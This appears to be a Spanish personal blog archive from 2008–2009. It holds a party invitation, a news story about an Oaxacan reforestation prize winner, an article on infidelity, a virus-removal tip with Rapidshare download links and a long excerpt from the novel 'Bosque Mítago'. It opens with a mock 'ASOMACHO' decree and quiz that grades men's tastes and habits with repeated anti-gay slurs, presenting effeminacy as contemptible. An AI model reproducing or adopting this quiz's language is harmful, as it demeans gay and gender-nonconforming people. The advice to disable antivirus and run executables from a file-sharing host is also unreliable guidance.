CONSEJO DIRECTIVO ASOMACHO
ACTA
001 de 2009
El consejo directivo de ASOMACHO, en plenas facultades legislativas y considerando:
1. Ante el evidente mariconeamiento generalizado de la sociedad en la
que vivimos.
2.Ante la aparición de vocablos como metro sexuales u homogay,
términos que no hacen otra cosa que desdibujar los límites entre el
buen macho y el maricón generalizado.
3.Ante los cada vez más tolerados ¡y consumidos! Tratamientos de
belleza masculina.
4. Ante el aparente e inminente triunfo de los cuerpos lampiños, de
las barrigas planas y los cutis no-grasos.
DECRETA:
Por todo esto y mucho más, Asomacho ha desarrollado el test que en
este momento tiene usted delante, un material de incalculable valor
que debe estar siempre en el bolsillo de cualquier asomachista que se
precie y de cualquier nena que suspire por nosotros los varones de
exportación y que nos servirá para dar claridad y orden a una sociedad
que nos aísla y discrimina.
REGALOS QUE PREFIERE RECIBIR
Una botella de ron, aguardiente o whiskey .....(MACHO)
Una prenda de vestir............. ...............(RARITO)
Dulces, bombones, etc............................(PARCHA)
Flores y/o perfumes..............................(MARICÓN)
USO DE CREMAS Y BRONCEADORES
No usa...........................................(MACHOTE)
Usa sólo un poco en no.......................(AMANERADO)
Usa bastante en verano......................(MARIQUITA)
Usa abundante todo el año......................(PATO)
PEINADO
No se peina..................................(BRAVO)
Se peina después de ducharse...........(HOMBRECITO)
Se peina varias veces por día...........(MARIQUITA)
Usa gel, fijadores y secadores.....(HOMOGAY METROSEXUAL)
Peina a otros y aconseja................(MARICONAZO!!!)
LIMPIEZA DOMICILIARIA
Barre sólo cuando siente el crujir de sedimentos bajo sus zapatos....(VARON)
Barre cuando ve mugre...(DEJA MUCHAS DUDAS)
Limpia con agua y detergente......(ES UN MARICA)
Limpia con agua, detergente y aromatizante.......(MARIPOSA)
DEPORTES PREFERIDOS
Fútbol, béisbol, básquet, boxeo, formula1, boliche..(MACHO DE PELO EN PECHO)
Tenis, ping-pong, voleibol.......(BIEN, PERO HAY QUE VIGILARLO)
Aeróbic, spinning...........................(LOCA)
Lo mismo, pero con sudadera de lycra ............(MARICONAZO)
COMIDAS PREFERIDAS
Cerdo, Lapa, grandes animales asados, guisos picantes...(TARZÁN)
Pescado y ensalada para no engordar....(SOSPECHOSAMENTE SENSIBLE)
Sándwiches integrales, consomés......... (MARICON)
Aves acompañadas con vegetales al vapor....(NENA ARREBATADA)
BEBIDAS PREFERIDAS
Guaro, cerveza, ron, tequila, whiskey.................VARÓN)
Refrescos y limonadas.................(SE LE MOJA LA CANOA)
Jugos de frutas y licores muy dulces sin alcohol...(MARIPOSON IRREDIMIBLE)
BAILE
Suavecitas, vallenato y boleros (para brillar la hebilla)......(ALMIRANTE)
Música dance , rock, y brindando espectáculo.............(MUY RARITO)
Bailarín de toda la noche..............(PARGO ROSADO MARIQUITA)
ASEO PERSONAL
Se ducha en 5 minutos, con jabón y lava sus calzoncillos.......(LEGIONARIO)
Se baña rápido con champú pero sin tocarse el trasero.....(VARON)
Se baña durante más de 30 minutos con jabón líquido......(MARICA)
Se baña con sales y espuma en la bañera....(LOCA DESAFORADA!!!)
CERVEZA
Helada y en grandes cantidades..........(SUPER MACHO)
Sólo una para el calor..................(MEDIO MARICON)
Con limón (michelada)........................(MARICON)
Sin alcohol................................(SUPER MARICÓN)
La Junta Directiva en pleno.
ASOMACHO
Consejo Directivo ASOMACHO
lunes, 15 de junio de 2009
Otro Año mas viejo xD
jueves, 4 de junio de 2009
Pues bien, estoy a punto de cumplir un añote mas de vida y que mejor que celebrarlo como siempre lo hago: Cun una borrachera marca lloraras xD!!
Este año será en La Cabaña The Hope (La de rocha pa los que lo conocen) donde antes nos ibamos de briagos con la desintegrada banda internacionalmente famosa Alkitran, solo que este año estara acompañandonos una excelente banda llamada Long Play la cual iniciara su gira con nosotros, tocaran buena musica haciendo covers de black label society, led zeppelin, deep purple, etc. aparte tocaran rolas propias que la neta no he escuchado pero conociendolos espero mucho de ellos.
Aparte de la buena musica esperamos que este año se repita la tradicion de 1 pomo por año sin contar los clasicos garrafones de agua loca y las chelitas "pal calor"
o El famoso Xico en llamas que ha causado sensacion en la comunidad borracha. Aparte del alcohol ps tambien se antoja algo de comer y ps a ver si nos podemos aventar unas carnes al carbon en la tardesita, eso si, el que no llegue a tiempo ya valo y no le toca ni madres, solo alcohol (como si les iportara...).
Bueno el chiste es que espero que este año todos puedan estar celebrando conmigo un largo año mas de vida divirtiendonos en compañia de unas buenas botellas, buena musica y sobre todo unos buenos amigos.
La fiesta va a ser a partir de las 4 pm, pensaba hacerla desde temprano pero ps es un pedote conseguir las cosas y muchos no pueden porque trabajan medio dia, se agradecera su cooperacion con alcohol y cigarros o coperacha por lo menos. Voy a poner un mapa (mañana) de como llegar a la cabaña que està en xico para los que no saben o no se acuerdan como llegar.
Espero verlos todos ahi y acuerdense que paa evitar pedos este año solo van los que yo haya invitado o dije a alguien mas que los invitara, asi me evitan la pena de no dejar pasar a los colados, como el año pasado algunos recordaran a los pendejos amigos de chero que todavia me dijer que quien madres era yo estando en mi casa ¬¬.... Pero bueno, entonces ya saben que el 27 de Junio a las 4:00 PM los espero para otro buen cotorreo.
| From ZeroProject News o.O |
Atte: El Migue
Noticia que da gusto publicar
viernes, 29 de mayo de 2009
Pocos lo saben, pero existe un premio tipo "Nobel" de Ecología.
Este año lo ha ganado Jesús León Santos, de 42 años, un agricultor mixteco (México) que lleva realizando, en los últimos 25 años, un excepcional trabajo de reforestación en su región de Oaxaca, México. 
El nombre de la recompensa es "Premio Ambiental Goldman" (www.goldmanprize.org/theprize/about_espanol).
Fue creado en 1990 por dos generosos filántropos y activistas cívicos estadounidenses Richard N. Goldman y su esposa Rhoda H. Goldman.
Consta de una dotación de 150.000 USD ($2,154,000 M.N.) y se entrega cada año, en el mes de abril, en la ciudad de San Francisco, California (Estados Unidos). Hasta ahora ha sido otorgado a defensores del medio ambiente de 72 países. En 1991, lo ganó la kenyana Wangari Maathai, quien luego obtuvo el Premio Nobel de la Paz en 2004.
Jesús León Santos lo recibió porque, cuando tenía 18 años, decidió cambiar el paisaje donde vivía en la Mixteca Alta, la "tierra del sol". Aquello parecía un panorama lunar: campos yermos y polvorientos, desprovistos de arboleda, sin agua y sin frutos. Había que recorrer grandes distancias en busca de agua y de leña. Casi todos los jóvenes emigraban para nunca regresar, huyendo de semejantes páramos y de esa vida tan dura.
Con otros comuneros del lugar, Jesús León Santos se fijó el objetivo de reverdecer los campos. Y decidió recurrir a unas técnicas agrícolas precolombinas que le enseñaron unos amigos mayas de Guatemala para convertir tierras áridas en zonas de cultivo y arboladas.
¿Cómo llevar el proyecto de rescate de las tierras ancestrales a cabo? Haciendo revivir una herramienta tradicional también olvidada: El tequio, el trabajo comunitario no remunerado. Reunió nada menos que a unas 400 familias de 12 municipios, creó el Centro de Desarrollo Integral Campesino de la Mixteca (Cedicam), y juntos, con recursos económicos limitadísimos, se lanzaron en la gran batalla contra la principal culpable del deterioro: la erosión.
En esa región de la Mixteca existen más de 50.000 hectáreas que han perdido unos cinco metros de altura de suelo desde el siglo XVI. La cría intensiva de cabras, el sobre pastoreo, el uso del arado de hierro y la industria de producción de cal que establecieron les españoles durante la Colonia deterioraron la zona. Los españoles y sus descendientes intensificaron de depredación con la tala intensiva de árboles para la construcción de sus imponentes templos dominicos. El saqueo de la zona a partir de la Conquista contribuyó definitivamente a la desertificación.
Jesús León Santos reclutó a varios familiares y amigos y juntos, impulsaron un programa de reforestación.
A pico y pala cavaron zanjas-trincheras para retener el agua de las escasas lluvias, sembraron árboles en pequeños viveros, trajeron abono y plantaron barreras vivas para impedir la huida de la tierra fértil.
Todo eso favoreció la recarga del acuífero. Luego, en un esfuerzo titánico, plantaron alrededor de ¡¡cuatro millones de árboles!! de especies nativas, aclimatadas al calor y sobrias en la absorción de agua.
Después se fijaron la meta de conseguir, para las comunidades vecinas, la soberanía alimentaria.
Desarrollaron un sistema de agricultura sostenible y orgánica, sin uso de pesticidas, gracias al rescate y conservación de las semillas nativas del maíz, cereal originario de esta región. Sembrando sobre todo una variedad muy propia de la zona, el cajete, que es de las más resistentes a la sequía.
Se planta entre febrero y marzo, que es allí la época mas seca del año, con muy poca humedad en el suelo, pero cuando llegan las lluvias crece rápidamente. Al cabo de un cuarto de siglo, el milagro se ha producido. Hoy la Mixteca Alta esta restaurada. Ha vuelto a reverdecer. Han surgido manantiales con más agua. Hay árboles y alimentos.
¡Y la gente ya no emigra!
Actualmente, Santos y sus amigos luchan contra los transgénicos, y siembran unos 200.000 árboles anuales.
Cada día hacen retroceder la línea de la desertificación. Con la madera de los árboles se ha podido rescatar una actividad artesanal que estaba desapareciendo : la elaboración, en talleres familiares, de yugos de madera y utensilios de uso corriente.
Además, se han enterrado en lugares estratégicos cisternas de ferrocemento, de más de 10.000 litros de capacidad, que también recogen el agua de lluvia para el riego de invernaderos familiares orgánicos.
El ejemplo de Jesús León Santos es ahora seguido por varias comunidades vecinas preocupadas por recuperar el control sobre sus tierras. También han creado viveros comunitarios y organizan temporalmente plantaciones masivas.
En un mundo donde las noticias con frecuencia son negativas y deprimentes, esta historia ejemplar ha pasado desapercibida.
¡Circule esta noticia! Podría convencer a aquellos que desprecian a los ancestrales cuidadores de nuestro territorio llamándolos 'indios', para seguir despojándolos. Podría convencer a algunos más a colaborar de manera activa en el rescate de México.
Win32/PSW.OnLineGames
martes, 2 de diciembre de 2008
Aqui les pongo como reparar ese maldito virus que como jode:
Con tu memoria USB conectada, descarga y ejecuta Flash_Disinfector.
Luego
- Descarga la herramienta ComboFix.exe y guárdala en el escritorio.
Desactiva temporalmente el Antivirus y/o Antispyware.
Cierra todas las ventanas abiertas.
Hacele doble clic al archivo ComboFix.exe y seguí las instrucciones.
Cuando termine, generara un registro en C:\ComboFix.txt.
*Nota* Mientras CF este trabajando no mover el mouse ya que pararía su proceso.
*Nota* ComboFix puede reiniciar automáticamente el PC para completar el proceso de eliminación.
ComboFix:
http://rapidshare.com/files/169727395/ComboFix.exe
Flash desinfector:
http://rapidshare.com/files/169728024/Flash_Disinfector.exe
Infidelidad
jueves, 20 de noviembre de 2008
INFIDELIDAD, CAUSAS, CONSECUENCIAS Y CRISIS DE PAREJA
La infidelidad se vive como la peor traición de la pareja y se piensa que el infiel es el culpable de un grave daño a la relación de pareja, ya que, se supone que en la relación de pareja se tiene todo lo que necesita para vivir bien.
Generalmente se piensa que la infidelidad se relaciona con encuentros sexuales extra pareja.
Pero, también existe la infidelidad producto de las crisis o problemas en la pareja; en este tipo de infidelidad no sólo se trata de un evento sexual, ya que el o la infiel busca lo que no encuentra con su pareja, por ejemplo aspectos intelectuales, físicos, emocionales, de atención, económicos, etc.
Para poder entender un poco mas de la infidelidad, debemos decir que, la infidelidad existe siempre y cuando, primero exista una pareja, puede ser noviazgo, vivir juntos, matrimonio, etc.; a resumidas cuentas, la infidelidad va a afectar la relación de una pareja.
Esto surge, en parte por nuestra sociedad, ya que crecemos y somos educados para pensar que la monogamia será el tipo de relación en la que viviremos y por lo tanto, tenemos muchos argumentos de educación que así lo determinan.
Los factores de educación van conformando la moral, los valores, costumbres, normas, formas de comportamiento, etc. Y nos educan como personas con lo que conocemos como una conducta “normal” (nos referimos con normal que esta dentro de la norma social vigente) y lo normal en nuestra sociedad es que vivamos en pareja, repito es una forma educativa de tipo social, y debemos tomar en cuenta que existen otras formas, creencias, valores y costumbres.
Hasta aquí todo va claro, pero el problema surge cuando nos damos cuenta que los seres humanos en ocasiones pedimos cosas opuestas a lo que se esperaba, sobre todo en aspectos relacionados con la pasión y el amor.
La pasión que en ocasiones se desaparece o cambia y el amor que se desvanece cuando la rutina y la monotonía van llenando a la pareja de obligaciones, decepciones, mala comunicación, mala economía, mala salud, etc.
Pero ¿cómo definir la infidelidad entonces?.- De una manera rápida la podemos definir como las relaciones extra conyugales o extra pareja, sean de tipo sexual o afectivo.
Entendemos la relación fuera del lazo o compromiso de pareja, ya que se había establecido un acuerdo de estar juntos los dos sexual y emocionalmente el uno para el otro en exclusividad, al menos es lo esperado.
Pero y ¿Qué provoca la infidelidad?
Contra lo que muchos piensan, no es un solo factor y cada conjunto de factores dependen de cada persona y de cada situación y por lo tanto es muy difícil definir que produce la infidelidad. Lo que si se puede adelantar para entenderla son los factores que predisponen a las personas a la infidelidad:
Uno de los factores que provoca la infidelidad se refiere a la elección de la propia pareja.- Es importante señalar que no es del todo cierto que elegimos libremente a la pareja, por lo general la "decisión" está dada por factores restringidos al circulo en el que nos desarrollamos, es decir, la elección no es al azar sino que está altamente determinada de acuerdo con las actividades que realizamos, las cuales nos permiten "conocer" o relacionarnos con otras personas.
Incluso existen teorías que nos dicen que nos sentimos atraídos por personas que realizan actividades similares a nosotros, tal es el caso de las relaciones que se desarrollan en la escuela, en el trabajo, en el gimnasio, en los círculos de amigos, etc.
Generalmente en las relaciones de pareja donde se presentan episodios de infidelidad, producen formas de amor y odio o de amor y dolor; esto es causado por que suponemos que el otro "debe" satisfacer nuestras necesidades, lo cual se da muchas veces a nivel inconsciente. Las necesidades son de manera completa e integra, entre ellas destacan, lo económico, la atención, el amor, lo sexual, la protección, la fidelidad, etc.
Por ejemplo, la pareja complementaria, en donde uno "manda" y es considerado más desarrollado, mejor, más capaz, con mas dinero, etc., puede verse seriamente afectada cuando el "obediente" obtiene, por ejemplo logros que lo hacen salir del esquema anterior, o entender la relación desde otra perspectiva.
En este ejemplo, el "obediente", realiza una elección del tipo analítico pero dados los logros, su relación se transforma en una elección basada mas en la confianza en si mismo. La relación continúa siempre que la elección sea ratificada por ambos miembros de la pareja.
Puede darse el caso de que la elección de la pareja se base en un afán de evitar la depresión o de no querer estar “solo consigo mismo”, y esto haga que la elección sea de tipo analítico y cuando descubra que su pareja no es la solución a sus problemas buscara entonces una relación extra.
Las situaciones anteriores, hacen referencia a elecciones de pareja poco sanas, en la medida en que se hacen modos de relación rígidas que ante cualquier crisis o problema "vital" de la pareja, resultarán las conductas inoperantes para resolver o cuando menos llevar a buen término los problemas que la aquejan. Y una de las conductas que hace inoperante la relación de pareja es la infidelidad.
En ese momento, lo que parecía amor, se va tornando en frustración, coraje y odio, lo cual puede desencadenar que se busque un amante que sea totalmente opuesto a lo que es la pareja, aunque también pueden aparecer personas circunstanciales que podrán general los cuadros de infidelidad, por ejemplo, el caso donde un (a) amigo (a) o compañero (a) de trabajo se vuelve la persona que nos escucha sobre los problemas que tenemos. La compenetración que se logra al contar nuestras penas es tanta, que muchas de la veces puede generar un romance.
Ya que eso brinda como un desahogo emocional, en ocasiones esto permite seguir en la relación de pareja, ya que de alguna manera se logra compensar que lo no se tiene con la pareja.
Esto tiene una lógica basada en la existencia de relaciones de infidelidad en donde la relación sexual no es lo más importante, sino la necesidad de sentirse escuchado y atendido por otra persona.
La relación extra conyugal también se llega a presentar por que alguno de los dos se siente amenazado en su autonomía y a través de otra relación, se logran sentir apoyados o con un “valor extra” que permite enfrentar las cosas que solo (a) no se podía. Sobre todo que la extra relación permite seguir sintiendo cierta autonomía.
También existen relaciones extra pareja cuando se sienten que la pareja amenaza la independencia y la autonomía y se tienen miedo a quedar atrapado (a), en este sentido, se observan personas que una vez que el/la amante inicia sus exigencias, buscarán nuevamente otra relación que los "salve" tanto del cónyuge como del amante "devorador" o bien, pueden mantenerse así para evitar ser absorbidos por ambas.
Hasta aquí hemos dado un repaso de algunas de las causantes de la infidelidad, y diremos que es necesario, para mantener una buena relación de pareja, establecer cierta independencia y autonomía entre los miembros de la pareja, para lo cual se debe considerar que:
Se debe mantener una buena comunicación efectiva en la pareja.
Se recomienda constatar el laso de unión en la pareja.
Se considera importante renovar los acuerdos de la pareja.
Y finalmente, es importante recomendar el revisar como quieres vivir, ya que la fidelidad también es un acto de convicción, esto quiere decir que para mantenerte tranquilo (a) en una relación, debes planear que tipo de relación quieres y propones, ya que la infidelidad se relaciona con el acto de mentir o engañar a la pareja, ya que esta desconoce nuestras intenciones.
Bosque Mítago
martes, 28 de octubre de 2008
Prólogo
Edward Wynne-Jones Esq.
15 College Road Oxford
Edward:
Tienes que volver al Refugio. ¡Por favor, no te retrases ni una hora! He descubierto un
cuarto camino hacia las zonas más profundas del bosque. El arroyo. Qué obvio parece
ahora... ¡un camino de agua! Pasa directamente a través del vórtice exterior de fresnos,
más allá del sendero espiral y de las Cataratas de Piedra. Creo que nos servirá para
llegar al mismo corazón del bosque. ¡Pero el tiempo, siempre el factor tiempo...!
He encontrado un pueblo llamado los shamiga. Viven más allá de las Cataratas de
Piedra. Vigilan los vados del río, pero descubrí con gran satisfacción que les encanta
contar historias. Ellos lo llaman «narrar la vida». La narradora de la vida es una jovencita
que se pinta la cara de verde y cuenta las historias con los ojos cerrados, para que las
sonrisas o gestos desaprobadores de los que escuchan no la hagan «cambiar de forma»
a los personajes de la historia. La escuché durante mucho tiempo, pero lo más importante
que oí fue un fragmento que sólo puede pertenecer a la historia de Guiwenneth. Era una
versión precéltica del mito, pero estoy seguro de que se refiere a la chica. Esto es lo que
conseguí entender:
«Una tarde, tras matar a un ciervo con astas de ocho puntas, a un jabalí más alto que
dos hombres, y corregir los malos modales de cuatro pueblos, Mogoch, un jefe, se sentó
junto a la orilla para descansar. Era de constitución tan gigantesca, que las nubes casi le
tapaban la cabeza. Metió los pies en el mar, junto a la base de los acantilados, para
refrescarse. Luego se reclinó hacia atrás y observó la reunión que tenía lugar entre dos
hermanas sobre su fertilidad.
»Las hermanas eran gemelas, ambas hermosas, de hablar dulce y hábiles con el arpa.
Pero una de ellas se había casado con el jefe guerrero de una gran tribu, y pronto
descubrió que su vientre no podía concebir. Se volvió tan agria como la leche que ha
quedado demasiado tiempo expuesta al sol. La otra hermana se había casado con un
guerrero exiliado llamado Peregu. El campamento de Peregu estaba en los más
profundos desfiladeros de la parte más lejana del bosque, pero acudía junto a su amada
en forma de lechuza. Ella acababa de tener una hija, pero, como Peregu estaba exiliado,
la hermana de rostro amargado y su ejército se habían presentado para llevarse a la
criatura.
»Tuvo lugar una gran discusión, y las armas chocaron. La amada de Peregu ni siquiera
había tenido tiempo deponerle nombre a la niña, cuando su hermana le arrebató el
pequeño bulto envuelto en telas y lo alzó sobre su cabeza, para ser ella quien le diera
nombre.
»Pero el cielo se oscureció, y aparecieron diez urracas. Eran Peregu y sus nueve
hermanos de espada, mutados por la magia del bosque. Peregu descendió en picado,
tomó a la niña entre sus garras y se remontó, pero un tirador le derribó con su honda. La
niña cayó, pero los otros pájaros la recogieron en el aire y se la llevaron. Así que fue
llamada Hurfathana, que quiere decir "la niña criada por urracas".
»Mogoch, el jefe, contempló todo esto con diversión despectiva, pero sentía respeto
por el difunto Peregu. Recogió al pajarilla y le devolvió la forma humana.
Como tenía miedo de aplastar pueblos enteros si excavaba una tumba con el dedo,
Mogoch se metió al exiliado muerto en la boca, y se arrancó un diente para que le sirviera
de lápida funeraria. Así, Peregu fue enterrado bajo una gran piedra blanca, en un valle
que respira.» No hay duda, se trata de una versión primitiva de la historia de Guiwenneth,
y supongo que comprendes mi emoción. La última vez que vino la chica, pude preguntarle
sobre su tristeza. Me dijo que se había extraviado. No conseguía dar con el valle que
respiraba, ni la brillante roca bajo la que yacía su padre. Es la misma historia. ¡Lo sé, lo
presiento! Tenemos que invocarla de nuevo. Tenemos que ir otra vez más allá de las
Cataratas de Piedra. Necesito tu ayuda.
¿Quién sabe dónde y cuándo terminará esta guerra? Pronto llamarán a filas a mi hijo
mayor, y Steven no tardará en seguirle. Entonces, tendré más libertad para explorar el
bosque y hablar con la chica.
Tienes que venir, Edward.
Un saludo afectuoso.
George Huxley Diciembre de 1941
Primera parte - Bosque Mitago
Uno
En mayo de 1944 recibí los papeles de alistamiento y, de mala gana, partí hacia la
guerra. Mi entrenamiento tuvo lugar en Lake District, y luego me embarcaron hacia
Francia con el Séptimo de Infantería.
La noche anterior a la partida, estaba tan enfadado con mi padre por su aparente
despreocupación en lo relativo a mi seguridad, que, cuando se durmió, me acerqué
silenciosamente a su escritorio y arranqué una página de su libreta, el diario donde
detallaba su trabajo silencioso y obsesivo. El fragmento tenía como única fecha «Agosto
del 34», y lo leí muchas veces, desesperado por no comprender nada, pero contento de
haberle arrebatado al menos una pequeña parte de su vida, una parte que me sustentaría
en aquellos días dolorosos y solitarios.
La anotación comenzaba con un amargo comentario sobre las pérdidas de tiempo que
se le imponían: el mantenimiento de Refugio del Roble, nuestro hogar familiar, las
exigencias de sus dos hijos, y la difícil relación con su esposa, Jennifer. Si mal no
recuerdo, por aquel tiempo mi madre estaba gravemente enferma. Terminaba con un
párrafo memorable por su incoherencia:
Una carta de Watkins. Está de acuerdo conmigo en que, en ciertas épocas del año, el
aura que rodea el bosque puede llegar hasta la casa. Debo meditar sobre las
implicaciones. Quiere conocer el poder del vórtice roble que he medido. ¿Qué le cuento?
Desde luego, nada del primer mitago. También he notado que la zona premitago es cada
vez más rica. Pero, al mismo tiempo, es evidente que pierdo progresivamente el sentido
del tiempo.
Atesoré este pedazo de papel por muchas razones, pero sobre todo, porque
representaba los escasos momentos de interés apasionado de mi padre... aunque, al
mismo tiempo, no podía compartir este interés, igual que no podía compartir su vida
cuando estaba en casa.
Me hirieron a principios de 1945, y cuando terminó la guerra, me las arreglé para
quedarme en Francia. Viajé hacia el sur para pasar la convalecencia en un pueblo de las
colinas que hay más allá de Marsella, y allí viví con unos viejos amigos de mi padre. Era
un lugar cálido, seco, silencioso y tranquilo. Me pasaba horas y horas sentado en la plaza
del pueblo, y pronto se me consideró parte de la pequeña comunidad.
Las cartas de mi hermano Christian, que había vuelto a Refugio del Roble cuando
terminó la guerra, me llegaban puntualmente todos los meses durante el largo año de
1946. Eran cartas alegres, informativas, pero parecían cada vez más tensas:
evidentemente, la relación de Christian con nuestro padre se deterioraba por momentos.
El viejo no me escribió nunca, pero tampoco lo esperaba. Hacía mucho que me había
resignado, lo máximo que obtendría de él sería indiferencia.
Toda la familia no era más que una intrusión en su trabajo. Su sentimiento de
culpabilidad por habernos descuidado, y sobre todo por haber hecho que nuestra madre
se suicidara, se convirtió rápidamente, durante los primeros años de guerra, en una locura
histérica verdaderamente aterradora. Esto no quiere decir que estuviera gritando siempre;
todo lo contrario, se pasaba la mayor parte del tiempo en silencio, absorto en la
contemplación del bosque de robles cercano a nuestra casa. Estos períodos de silencio,
que al principio no le enfurecían por la distancia que interponían entre la familia y él, se
convirtieron pronto en una auténtica bendición.
Murió en noviembre de 1946, de una enfermedad que le había aquejado durante años.
Cuando me enteré, me sentí dividido entre lo poco que me atraía volver a Refugio del
Roble, en un rincón de Ryhope, en Herefordshire, y el evidente malestar de Christian.
Ahora, mi hermano estaba solo en la casa donde habíamos pasado juntos la infancia. Me
lo imaginaba recorriendo las habitaciones vacías, quizá sentado en el estudio húmedo e
insalubre de nuestro padre, recordando las horas de rechazo, el olor a madera y mantillo
que acompañaba al viejo al cruzar las puertas con paneles de cristal cuando regresaba de
sus expediciones de una semana a lo más profundo del bosque. Éste se había extendido
por esa habitación, como si mi padre no soportara estar lejos de los matorrales bajos y as
húmedas sombras de los robles, ni siquiera cuando recordaba que tenía una familia.
Demostraba recordarnos de la única manera en que sabía hacerlo: contándonos —sobre
todo, contando a mi hermano— historias sobre los antiguos bosques que se divisaban
desde la casa, sobre los robles, fresnos, hayas y otros árboles en cuyo oscuro interior
(dijo una vez) aún se podía oír y oler al jabalí salvaje, incluso seguir sus huellas.
Yo dudaba de que hubiera visto nunca a ese animal, pero aquella noche, sentado junto
a la ventana de mi habitación, contemplando el pueblecito en las colinas (todavía llevaba
la carta de Christian en la mano, hecha una bola), recordé con claridad cómo me había
dedicado a escuchar los gruñidos lejanos de algún animal del bosque, cómo atendía al
ruido del pesado desplazamiento de algo muy grande que se adentraba hacia el bosque
por el ventoso camino que llamábamos Sendero Profundo, una ruta que transcurría en
espiral hacia el mismo corazón del bosque.
Sabía que debía volver a casa, pero retrasé el viaje casi otro año. Durante ese tiempo,
las cartas de Christian cesaron bruscamente. En la última, fechada el diez de abril,
escribía sobre Guiwenneth, acerca de su extraño matrimonio, y aseguraba que me
sorprendería la encantadora muchacha por la que había perdido «corazón, mente, alma,
razón, talento para cocinar y casi todo lo demás, Steve».
Le escribí para darle la enhorabuena, claro, pero durante los meses siguientes no hubo
ninguna comunicación más entre nosotros.
Por fin, le escribí para hacerle saber que volvía a casa, que me quedaría en Refugio del
Roble unas semanas, y luego buscaría alojamiento en alguna de las ciudades cercanas.
Me despedí de Francia y de la comunidad que se había convertido en una parte
importante de mi vida. Viajé hasta Inglaterra en autobús y tren, en ferry y otra vez en tren.
El 20 de agosto, en coche de caballos, llegué hasta el tendido de ferrocarril en desuso
que marcaba el límite de los terrenos.
Refugio del Roble estaba al otro lado, a seis kilómetros si se daba un rodeo por la
carretera, pero mucho más cerca por un camino que atravesaba los campos y
bosquecillos de la finca. Mi intención era tomar la ruta más rápida, así que cogí lo mejor
que pude mi única y destartalada maleta y eché a andar por el descuidado sendero. De
cuando en cuando, echaba un vistazo por encima del alto muro de ladrillo rojo que
señalaba los límites de la propiedad, tratando de ver algo a través de la espesura de
pinos.
Pronto desaparecieron tanto el bosque como el muro, y la tierra se convirtió en una
serie de campos bordeados de árboles, a los que entré por un desvencijado portillo con
escalones de madera, casi oculto bajo las raíces de fresno y los arbustos fresales. No me
costó poco abandonar la vía pública y avanzar por el camino sur que atravesaba los
bosquecillos, serpenteando junto al riachuelo llamado «arroyo arisco», hacia la casa
cubierta de hiedra que era mi hogar.
Se acercaba el mediodía y el calor arreciaba cuando por fin avisté Refugio del Roble.
En algún lugar, a mi izquierda, se oía el sonido de un tractor. Pensé en el viejo Alphonse
Jeffries, el encargado de los terrenos. Y, junto con su rostro bronceado, sonriente, recordé
la alberca del molino y el pequeño bote de remos desde el que solía pescar.
El recuerdo de la tranquila alberca se apoderó de mí, y me aparté del sendero sur,
pese a que las ortigas me llegaban a la cintura, y los fresnos y los espinos crecían por
doquier. Me acerqué a la orilla de la amplia alberca sombreada. El espeso bosque de
robles del otro lado impedía verla en toda su extensión. Casi oculto entre los arbustos que
poblaban la orilla más cercana estaba el pequeño bote desde el que Chris y yo solíamos
pescar años antes. Había perdido casi por completo la capa de pintura blanca y, aunque
el casco parecía intacto, dudé que soportara el peso de un hombre adulto. No lo toqué.
Me limité a rodear la alberca para sentarme en los desiguales escalones de cemento que
llevaban al desvencijado embarcadero. Desde allí, contemplé la superficie de la alberca,
poblada por nubes de insectos, sólo alterada por el paso de algún que otro pez.
—Sólo nos harían falta un par de palos y un trozo de cordel. La voz de Christian me
sobresaltó. Debía de haber caminado desde el Refugio por el sendero que la vegetación
me impedía ver. Alegre, me puse en pie de un salto y me volví hacia él.
La sorpresa que me causó su aspecto fue tan brutal como si me hubieran golpeado, y
creo que se dio cuenta, aunque le rodeé con los brazos y le di un fuerte abrazo fraternal.
—Tenía que ver otra vez este lugar —dije.
—Te comprendo —asintió, mientras nos separábamos—. Yo suelo venir a menudo.
Nos miramos, y se hizo un extraño silencio. Y, de pronto, tuve la certeza de que no le
alegraba verme.
—Estás muy moreno —señaló—. Y muy demacrado. Saludable y enfermo al mismo
tiempo...
—Sol mediterráneo, recogida de la uva y una granada de metralla. Aún no me he
recuperado del todo. —Sonreí—. Pero me encanta estar de vuelta y verte de nuevo.
—Sí —respondió vagamente—. Me alegra que hayas regresado Steve. Me alegra
mucho. Me temo que la casa... bueno, no está muy ordenada. Tu carta no llegó hasta
ayer, y no he tenido tiempo de hacer nada. Pronto verás que las cosas han cambiado
bastante.
Sobre todo él. Apenas podía creer que éste fuera el joven alegre y vivaz que marchó
con su unidad en 1942. Había envejecido de una manera increíble, tenía el pelo surcado
de hebras grises, más evidentes al llevarlo largo y sucio. Me recordó a nuestro padre: la
misma mirada distante, ausente, idénticas mejillas demacradas, idénticas arrugas
profundas en todo el rostro. Pero lo que más me chocaba era su porte en general.
Siempre había sido del tipo recio, musculoso.
Ahora era como el proverbial espantapájaros, flaco, desgarbado, siempre nervioso.
Lanzaba miradas hacia todas partes, pero sin concentrarse nunca en mí.
Y olía. A bolas de naftalina, como si la camisa blanca y los anchos pantalones grises
que llevaba acabaran de salir del armario. Y había otro olor, por debajo del de la
naftalina..., el punzante aroma de bosque y hierba. Tenía tierra en las uñas y en el pelo, y
sus dientes amarilleaban.
Con el paso de los minutos, pareció relajarse ligeramente. Discutimos un poco, reímos
otro poco y paseamos alrededor de la alberca, golpeando los arbustos con palos. Pero no
podía librarme de la sensación de haber llegado a casa en un mal momento.
—¿Fue difícil... lo del viejo? Me refiero a los últimos días. Negó con la cabeza.
—Durante las dos últimas semanas, más o menos, le atendió una enfermera aquí. No
puedo decir que muriera en paz, pero al menos dejó de hacerse daño a sí mismo... y, de
paso, a mí.
—Iba a preguntártelo. En tus cartas sugerías que había cierta hostilidad entre vosotros.
Christian frunció los labios en una sonrisa sombría, y me miró con una expresión
extraña, algo a medio camino entre el asentimiento y la sospecha.
—Más bien una guerra abierta. Poco después de que yo regresara de Francia, se
volvió bastante loco. Tendrías que haber visto la casa, Steve. Tendrías que haber visto al
viejo. Creo que llevaba meses sin lavarse. No sé qué habría estado comiendo... Desde
luego, nada tan sencillo como huevos y carne. Para ser sincero, durante unos meses creí
que se alimentaba de madera y hojas. Estaba en unas condiciones desastrosas. Me dejó
ayudarle con su trabajo, pero pronto empezó a odiarme. Trató de matarme más de una
vez, Steve. Y lo digo en serio, auténticos atentados contra mi vida. Supongo que tenía un
motivo...
El relato de Christian me dejó atónito. La imagen de mi padre había cambiado.
De ser un hombre frío, resentido, a convertirse en una figura enloquecida que se
lanzaba sobre mi hermano para golpearle con los puños.
—Siempre pensé que te quería más a ti. Era a ti a quien contaba las historias del
bosque. Yo escuchaba, pero siempre era a ti a quien sentaba sobre sus rodillas.
¿Por qué iba a intentar matarte?
